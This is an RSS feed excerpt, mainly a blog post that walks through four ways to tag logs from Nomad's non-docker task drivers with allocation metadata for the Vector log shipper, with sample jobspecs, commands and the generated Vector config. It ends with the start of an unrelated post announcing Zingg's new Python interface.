Allocation Addresses (mode = "bridge")
Label         Dynamic  Address
*python-http  yes      192.168.29.76:31775 -> 8888
On sending an HTTP request using cURL we can see the logs that this webserver generated:
curl -i 192.168.29.76:31775
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.10.4
Date: Sun, 04 Sep 2022 06:18:45 GMT
Content-type: text/html; charset=utf-8
Content-Length: 869
...
Nomad stores the logs inside the applications’ allocation directory, inside /opt/nomad/data/alloc. To see the logs for the above allocation ID, we can use:
tail -f /opt/nomad/data/alloc/1d05d64b-4b59-3c65-8261-760499d9e4f6/alloc/logs/server.stderr.0tail -f server.stderr.0 
192.168.29.76 - - [04/Sep/2022 11:48:26] "GET / HTTP/1.1" 200 -
192.168.29.76 - - [04/Sep/2022 11:48:45] "GET / HTTP/1.1" 200 -
Enriching logs with metadata#
As you can see, these logs are precisely what the python3 -m http.server command generates. Ideally, Nomad should have enriched these logs with metadata about the allocation ID, job name, namespace, the node it’s running on, etc., as noted in this GitHub issue.
However, since that’s not yet available, I brainstormed a few different options:
Approach 1: Sidecar#
The first approach was to run vector as a sidecar next to the main task. This is the simplest option, to begin with. Vector can be independently configured to add metadata for the logs collected from the allocation directory of the group. However, as with every sidecar deployment, there’s a lot of extra resource usage. For every 10 different groups, reserving resources for 10 vector agents quickly eats up your available CPU/Memory of the underlying node. A more critical downside, though, was asking every developer to also configure a Vector sidecar job. And to keep all these configs in sync to ensure they’re unified across namespaces is also another headache. Due to these reasons, I discarded this option early on. However, suppose your deployment scale (managing applications) is relatively smaller. In that case, this is actually not a bad idea.
Approach 2: Events Stream#
My next option was to listen to the Nomad events stream and generate a “vector” configuration template to collect logs and enrich them with metadata from the Events Stream. I developed v0.1 of nomad-vector-logger based on this concept. Since I’ve written a wrapper to collect events from Nomad using nomad-events-sink it was relatively straightforward to extend it to generate a vector.toml config. However, after testing in prod for a few days, I noticed that relying on the events stream is unreliable. Nomad events are not WebSocket based (as of yet). It’s a simple long polling mechanism which sends events to a Go channel as and when they happen. What happens when you miss an event? What happens when you run nomad system gc, which clears the events index? These were some of the challenges I faced with this v0.1 approach. There needs to be some sort of “reconcile” mechanism that periodically runs. A reconciliation loop that lists all allocations using the HTTP API can help whenever there are missing events.
Approach 3: Enrichment Tables#
I also posted about the above program in Vector’s discord group (they’re super active+helpful folks) and discussed this daemon with them. They also suggested a simpler alternative: generating a CSV of running allocations instead of a .toml config. Vector has support for Enrichment Tables which means that it can “lookup” a CSV file to find a particular row and enrich the log event with the information found from the CSV. This seemed a super cool idea, and I developed v0.2 using this. Super thankful to Vector maintainers for giving me this idea!


However, this approach had a few “subtle” drawbacks that I found:
vector doesn’t support live-reloading if the CSV file changes. vector has support for watching a config file for changes or sending a SIGHUP to reload. However, that only works for vector’s own config files. Since the CSV file is an external file, vector cannot watch it for changes. I came up with an ugly bash script hack and compared the md5 hash of the file in a while loop and if it changed, then send a SIGHUP to vector. All I can say is it’s ugly, but it works. If you wish to see it, it’s available here in all it’s glory.
The most significant issue was the chance of losing logs for the initial 10-20s of a new allocation. The above shell script had a sleep(10) because md5sum can be a bit CPU intensive to keep frequently doing. Vector sees a new allocation and starts ingesting events. It tries to look up the CSV row by the allocation ID, but it doesn’t find it yet in the CSV file, complains about it, and drops the log event. Thus, I had to drop the CSV idea in search to find another more reliable approach to this. For people interested in this approach, you can checkout the csv branch here.
Approach 4: Periodic Reconciliation Loop#
The final v0.3.0 solution, which IMHO fixed all the above issues, was:
Skip Nomad events stream. Since I have to build a reconciliation loop anyway, listening to events is just extra work without tangible benefits.
I used a background Goroutine channel to periodically refresh the list of allocations running on that node. Even if I fetched this list once every 30s or so, it’s OK because Vector will start ingesting logs once the config gets generated. It will start reading the file from the beginning. So logs aren’t lost even if I templated the config much later after the alloc began running.
I added the support to delay the removal of allocation from the file. If an allocation is stopped (e.g., a new version is deployed or the job restarted), the program doesn’t immediately removes the allocation from the config file. The user can set a delay period which works like a cooling down period. In this period, one can assume that Vector would have finished sending all logs to the upstream. In case the application generates too many logs faster than what the upstream sink can accept (e.g. if the upstream Elasticsearch gets slower). Suppose we remove the allocation _immediately whenever it stops. In that case, there’s a probability that Vector wouldn’t have read the file to the end. This cooling period helps to ensure that doesn’t happen. This is not a fool-proof situation but should cover most cases unless the upstream sink is dead for many hours.
How it works#
Now that we’ve covered a few different approaches and the pros/cons of each let’s see how nomad-vector-logger works. Essentially nomad-vector-logger is meant to be deployed inside a Nomad cluster as a system job. A system job in Nomad runs on each node. Whenever a new node gets added to the cluster, Nomad’s scheduler schedules a copy of this program on that new node automatically. This is the equivalent of a “Daemonset” in K8s.
nomad-vector-logger uses Nomad’s HTTP API to query all nodes’ running allocations. Once it gets the list, it adds it to an internal map and signals to generate a config.
The final config that is templated out looks like this:
[sources.source_nomad_alloc_64a2f9fd-e003-0bb3-b5cd-838125283a06_proxy]
type = "file"
include = [ "/opt/nomad/data/alloc/64a2f9fd-e003-0bb3-b5cd-838125283a06/alloc/logs/proxy*" ]
line_delimiter = "\n"
read_from = "beginning"

[transforms.transform_nomad_alloc_64a2f9fd-e003-0bb3-b5cd-838125283a06_proxy]
type = "remap"
inputs = ["source_nomad_alloc_64a2f9fd-e003-0bb3-b5cd-838125283a06_proxy"]
source = '''
# Store Nomad metadata.
.nomad.namespace = "default"
.nomad.node_name = "pop-os"
.nomad.job_name = "nginx"
.nomad.group_name = "nginx"
.nomad.task_name = "proxy"
.nomad.alloc_id = "64a2f9fd-e003-0bb3-b5cd-838125283a06"
'''
For people unfamiliar with vector, it’s essentially doing 2 things:
Get logs from a “file” source. The file path comes from nomad-vector-logger (where all the logs for proxy task are located)
It adds a JSON object nomad with relevant keys.
Vector pipeline will send this event to another “transformer” which can further process the log event (for eg parsing it as logfmt or JSON etc) and then finally send it to an upstream sink like Loki/Elasticsearch etc.
Here’s an example of the before/after of a log line shown above in this post:
Before#

After#

Perfect! We’ve annotated the same log event with Nomad metadata, and Vector will be able to identify these logs. If you’re interested in a complete setup on deploying this to Nomad, take a look at dev setup which contains a Nomad jobspec to deploy nomad-vector-logger as a sidecar with vector as the main task.
Hope this post helped you start configuring a logging pipeline for applications running with non-docker task drivers.
Fin!]]></description>
            <content:encoded><![CDATA[<p>Application orchestrators like <a rel="external" href="https://www.nomadproject.io/">Nomad</a>, Kubernetes etc., allow you to deploy multiple applications on the same host. Logs are stored on the underlying node wherever the applications are run. However, it’s pretty common to treat these instances as ephemeral if they’re a part of an autoscaling group. Therefore depending on the node’s availability to search these logs is not a practical idea as the node can go down anytime. Moreover, in most cases, access to these nodes is limited to cluster administrators, not the maintainers (developers/application owners). In such cases, a <em>log shipping</em> agent must ship and aggregate logs from all cluster nodes and store them centrally (like Elasticsearch, Clickhouse, Loki).</p>
<p>I’d recommend reading this <a rel="external" href="https://atodorov.me/2021/07/09/logging-on-nomad-and-log-aggregation-with-loki/">excellent post</a> by Adrian, who has explained how to set up a <a rel="external" href="https://vector.dev/">Vector</a> logging pipeline for applications running with <code>docker</code> task driver and ship the logs to Loki. For the applications running using <code>docker</code> task driver, Nomad <a rel="external" href="https://www.nomadproject.io/docs/drivers/docker#config-1">piggybacks</a> to docker daemon for configuring logging options. Docker daemon supports many logging options; in my experience, the <code>journald</code> log driver works reliably well.</p>
<p>However, this post is about tasks not using <code>docker</code> but any other driver (e.g. <code>raw_exec</code> and <code>exec</code>). Nomad doesn’t provide many configuration options for logging for these drivers. The biggest issue is that Nomad logs the application’s <code>stdio/stderr</code> stream to the log directory <em>as-is</em> without annotating any metadata about the task. This means that if you’ve multiple applications running on one host, the log shipping agent will not be able to <em>identify</em> which application’s logs are being ingested.</p>
<p>Consider this as an example. We’re running a simple web server using <code>exec</code> driver:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">job</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;http&quot;</span><span> {</span></span>
<span class="giallo-l"><span>  datacenters</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dc1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">service</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bridge</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;python-http&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">8888</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;server&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">exec</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        command</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/usr/bin/python3</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        args</span><span style="color: light-dark(#D73A49, #F47067);">    =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">-m</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">http.server</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">8888</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Once the alloc is running, we can find its IP address using:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> alloc</span><span style="color: light-dark(#032F62, #96D0FF);"> status</span><span style="color: light-dark(#032F62, #96D0FF);"> 1d05d64b</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">A</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 3</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Allocation Addresses</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Allocation</span><span style="color: light-dark(#032F62, #96D0FF);"> Addresses</span><span> (mode</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bridge</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Label</span><span style="color: light-dark(#032F62, #96D0FF);">         Dynamic</span><span style="color: light-dark(#032F62, #96D0FF);">  Address</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">*</span><span>python-http  yes      192.168.29.76:31775 -</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span> 8888</span></span></code></pre>
<p>On sending an HTTP request using <code>cURL</code> we can see the logs that this webserver generated:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">curl</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);"> 192.168.29.76:31775</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">HTTP/1.0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 200</span><span style="color: light-dark(#032F62, #96D0FF);"> OK</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Server:</span><span style="color: light-dark(#032F62, #96D0FF);"> SimpleHTTP/0.6</span><span style="color: light-dark(#032F62, #96D0FF);"> Python/3.10.4</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Date:</span><span style="color: light-dark(#032F62, #96D0FF);"> Sun,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 04</span><span style="color: light-dark(#032F62, #96D0FF);"> Sep</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2022</span><span style="color: light-dark(#032F62, #96D0FF);"> 06:18:45</span><span style="color: light-dark(#032F62, #96D0FF);"> GMT</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Content-type:</span><span style="color: light-dark(#032F62, #96D0FF);"> text/html</span><span>;</span><span> charset</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">8</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Content-Length:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 869</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span></code></pre>
<p>Nomad stores the logs inside the applications’ allocation directory, inside <code>/opt/nomad/data/alloc</code>. To see the logs for the above allocation ID, we can use:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>tail -f /opt/nomad/data/alloc/1d05d64b-4b59-3c65-8261-760499d9e4f6/alloc/logs/server.stderr.0tail -f server.stderr.0 </span></span>
<span class="giallo-l"><span>192.168.29.76 - - [04/Sep/2022 11:48:26] &quot;GET / HTTP/1.1&quot; 200 -</span></span>
<span class="giallo-l"><span>192.168.29.76 - - [04/Sep/2022 11:48:45] &quot;GET / HTTP/1.1&quot; 200 -</span></span></code></pre><h2 id="enriching-logs-with-metadata">Enriching logs with metadata<a class="zola-anchor" href="#enriching-logs-with-metadata" aria-label="Anchor link for: enriching-logs-with-metadata">#</a></h2>
<p>As you can see, these logs are precisely what the <code>python3 -m http.server</code> command generates. Ideally, Nomad should have enriched these logs with metadata about the allocation ID, job name, namespace, the node it’s running on, etc., as noted in this <a rel="external" href="https://github.com/hashicorp/nomad/issues/10219">GitHub issue</a>.</p>
<p>However, since that’s not yet available, I brainstormed a few different options:</p>
<h3 id="approach-1-sidecar">Approach 1: Sidecar<a class="zola-anchor" href="#approach-1-sidecar" aria-label="Anchor link for: approach-1-sidecar">#</a></h3>
<p>The first approach was to run <code>vector</code> as a sidecar next to the main task. This is the simplest option, to begin with. Vector can be independently configured to add metadata for the logs collected from the allocation directory of the group. However, as with every sidecar deployment, there’s a lot of extra resource usage. For every 10 different groups, reserving resources for 10 vector agents quickly eats up your available CPU/Memory of the underlying node. A more critical downside, though, was asking every developer to also configure a Vector sidecar job. And to keep all these configs in sync to ensure they’re unified across namespaces is also another headache. Due to these reasons, I discarded this option early on. However, suppose your deployment scale (managing applications) is relatively smaller. In that case, this is actually not a bad idea.</p>
<h3 id="approach-2-events-stream">Approach 2: Events Stream<a class="zola-anchor" href="#approach-2-events-stream" aria-label="Anchor link for: approach-2-events-stream">#</a></h3>
<p>My next option was to listen to the <a rel="external" href="https://www.nomadproject.io/api-docs/events">Nomad events stream</a> and generate a “vector” configuration template to collect logs and enrich them with metadata from the Events Stream. I developed v0.1 of <a rel="external" href="https://github.com/mr-karan/nomad-vector-logger">nomad-vector-logger</a> based on this concept. Since I’ve written a wrapper to collect events from Nomad using <a rel="external" href="https://github.com/mr-karan/nomad-events-sink">nomad-events-sink</a> it was relatively straightforward to extend it to generate a <code>vector.toml</code> config. However, after testing in prod for a few days, I noticed that relying on the <code>events</code> stream is unreliable. Nomad events are not WebSocket based (as of yet). It’s a simple long polling mechanism which sends events to a Go channel as and when they happen. What happens when you miss an event? What happens when you run <code>nomad system gc</code>, which clears the events index? These were some of the challenges I faced with this v0.1 approach. There needs to be some sort of “reconcile” mechanism that periodically runs. A reconciliation loop that lists all allocations using the HTTP API can help whenever there are missing events.</p>
<h3 id="approach-3-enrichment-tables">Approach 3: Enrichment Tables<a class="zola-anchor" href="#approach-3-enrichment-tables" aria-label="Anchor link for: approach-3-enrichment-tables">#</a></h3>
<p>I also posted about the above program in Vector’s discord group (they’re super active+helpful folks) and discussed this daemon with them. They also suggested a simpler alternative: generating a CSV of running allocations instead of a <code>.toml</code> config. Vector has support for <a rel="external" href="https://vector.dev/highlights/2021-11-18-csv-enrichment/">Enrichment Tables</a> which means that it can “lookup” a CSV file to find a particular row and enrich the log event with the information found from the CSV. This seemed a super cool idea, and I developed v0.2 using this. Super thankful to Vector maintainers for giving me this idea!</p>
<p><img src="https://mrkaran.dev/images/discord_vector_1.png" alt="image" />
<img src="https://mrkaran.dev/images/discord_vector_2.png" alt="image" /></p>
<p>However, this approach had a few “subtle” drawbacks that I found:</p>
<ul>
<li><code>vector</code> doesn’t support live-reloading if the CSV file changes. <code>vector</code> has support for watching a config file for changes or sending a <code>SIGHUP</code> to reload. However, that only works for vector’s own config files. Since the CSV file is an external file, vector cannot <em>watch</em> it for changes. I came up with an ugly bash script hack and compared the <code>md5</code> hash of the file in a <code>while</code> loop and if it changed, then send a <code>SIGHUP</code> to vector. All I can say is <em>it’s ugly, but it works</em>. If you wish to see it, it’s available <a rel="external" href="https://github.com/mr-karan/nomad-vector-logger/blob/csv/examples/deployment.nomad#L124-L151">here</a> in all it’s glory.</li>
<li>The most significant issue was the chance of losing logs for the initial 10-20s of a new allocation. The above shell script had a <code>sleep(10)</code> because <code>md5sum</code> can be a bit CPU intensive to keep frequently doing. Vector sees a new allocation and starts ingesting events. It tries to look up the CSV row by the allocation ID, but it doesn’t find it <em>yet</em> in the CSV file, complains about it, and drops the log event. Thus, I had to drop the CSV idea in search to find another more reliable approach to this. For people interested in this approach, you can checkout the <code>csv</code> branch <a rel="external" href="https://github.com/mr-karan/nomad-vector-logger/tree/csv">here</a>.</li>
</ul>
<h3 id="approach-4-periodic-reconciliation-loop">Approach 4: Periodic Reconciliation Loop<a class="zola-anchor" href="#approach-4-periodic-reconciliation-loop" aria-label="Anchor link for: approach-4-periodic-reconciliation-loop">#</a></h3>
<p>The final v0.3.0 solution, which IMHO fixed all the above issues, was:</p>
<ul>
<li>Skip Nomad events stream. Since I have to build a reconciliation loop anyway, listening to events is just extra work without tangible benefits.</li>
<li>I used a background Goroutine channel to periodically refresh the list of allocations running on that node. Even if I fetched this list once every 30s or so, it’s OK because Vector will start ingesting logs <em>once</em> the config gets generated. It will start reading the file <em>from the beginning</em>. So logs aren’t lost even if I templated the config much later after the alloc began running.</li>
<li>I added the support to <em>delay</em> the removal of allocation from the file. If an allocation is stopped (e.g., a new version is deployed or the job restarted), the program doesn’t <em>immediately</em> removes the allocation from the config file. The user can set a <em>delay</em> period which works like a cooling down period. In this period, one can <em>assume</em> that Vector would have finished sending all logs to the upstream. In case the application generates too many logs faster than what the upstream sink can accept (e.g. if the upstream Elasticsearch gets slower). Suppose we remove the allocation _<em>immediately</em> whenever it stops. In that case, there’s a probability that Vector wouldn’t have read the file to the <em>end</em>. This cooling period helps to ensure that doesn’t happen. This is not a fool-proof situation but should cover most cases unless the upstream sink is dead for many hours.</li>
</ul>
<h3 id="how-it-works">How it works<a class="zola-anchor" href="#how-it-works" aria-label="Anchor link for: how-it-works">#</a></h3>
<p>Now that we’ve covered a few different approaches and the pros/cons of each let’s see how <code>nomad-vector-logger</code> works. Essentially <code>nomad-vector-logger</code> is meant to be deployed inside a Nomad cluster as a <a rel="external" href="https://www.nomadproject.io/docs/schedulers#system"><code>system</code></a> job. A system job in Nomad runs on <em>each</em> node. Whenever a new node gets added to the cluster, Nomad’s scheduler schedules a copy of this program on that new node automatically. This is the equivalent of a “Daemonset” in K8s.</p>
<p><code>nomad-vector-logger</code> uses Nomad’s <a rel="external" href="https://www.nomadproject.io/api-docs">HTTP API</a> to query all nodes’ running allocations. Once it gets the list, it adds it to an internal map and signals to generate a config.</p>
<p>The final config that is templated out looks like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sources</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">source_nomad_alloc_64a2f9fd-e003-0bb3-b5cd-838125283a06_proxy</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">file</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>include</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/opt/nomad/data/alloc/64a2f9fd-e003-0bb3-b5cd-838125283a06/alloc/logs/proxy*</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> ]</span></span>
<span class="giallo-l"><span>line_delimiter</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>read_from</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">beginning</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">transforms</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">transform_nomad_alloc_64a2f9fd-e003-0bb3-b5cd-838125283a06_proxy</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">remap</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>inputs</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">source_nomad_alloc_64a2f9fd-e003-0bb3-b5cd-838125283a06_proxy</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>source</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;&#39;&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);"># Store Nomad metadata.</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">.nomad.namespace = &quot;default&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">.nomad.node_name = &quot;pop-os&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">.nomad.job_name = &quot;nginx&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">.nomad.group_name = &quot;nginx&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">.nomad.task_name = &quot;proxy&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">.nomad.alloc_id = &quot;64a2f9fd-e003-0bb3-b5cd-838125283a06&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">&#39;&#39;&#39;</span></span></code></pre>
<p>For people unfamiliar with vector, it’s essentially doing 2 things:</p>
<ul>
<li>Get logs from a “file” <em>source</em>. The file path comes from <code>nomad-vector-logger</code> (where all the logs for <code>proxy</code> task are located)</li>
<li>It adds a JSON object <code>nomad</code> with relevant keys.</li>
</ul>
<p>Vector <em>pipeline</em> will send this event to another “transformer” which can further process the log event (for eg parsing it as <code>logfmt</code> or JSON etc) and then finally send it to an upstream <em>sink</em> like Loki/Elasticsearch etc.</p>
<p>Here’s an example of the before/after of a log line shown above in this post:</p>
<h4 id="before">Before<a class="zola-anchor" href="#before" aria-label="Anchor link for: before">#</a></h4>
<p><img src="https://mrkaran.dev/images/nginx_raw.png" alt="image" /></p>
<h4 id="after">After<a class="zola-anchor" href="#after" aria-label="Anchor link for: after">#</a></h4>
<p><img src="https://mrkaran.dev/images/nginx_json.png" alt="image" /></p>
<p>Perfect! We’ve annotated the same log event with Nomad metadata, and Vector will be able to identify these logs. If you’re interested in a complete setup on deploying this to Nomad, take a look at <a rel="external" href="https://github.com/mr-karan/nomad-vector-logger/tree/main/dev">dev setup</a> which contains a Nomad jobspec to deploy <code>nomad-vector-logger</code> as a sidecar with <code>vector</code> as the main task.</p>
<p>Hope this post helped you start configuring a logging pipeline for applications running with non-docker task drivers.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[To Python, With Love! ]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/to-python-with-love</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/to-python-with-love</guid>
            <pubDate>Fri, 26 Aug 2022 07:23:43 GMT</pubDate>
            <description><![CDATA[A new new way to work with Zingg.]]></description>
            <content:encoded><![CDATA[<p><em>There was a feeling of suspense and excitement hanging in the air. From the depths of the cubicles rose a bewitching hymn, whose clicks and clacks surrounded the room. Despite this alluring melody, silence and serenity prevailed. The countless fingers on the various keyboards  pressed and released in sync as if they were playing one giant piano. Everyone typed in tandem and the entire scene felt straight out of an orchestra. Time, which stood eternally and unmovingly, slid when a delighted exclamation rang through the air. A gentle whoosh brought out the new Zingg feature, acting as a spell breaker to the enchantment everyone was under&#8230; </em></p><p>As you might have guessed by now, we just released a new version of Zingg! This release marks a complete shift from the command line training and matching jobs to a full programmatic interface of building applications with Zingg. With Python.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1526379095098-d400fd0bf935?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHwxfHxweXRob258ZW58MHx8fHwxNjY0ODk4ODIz&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 848w, 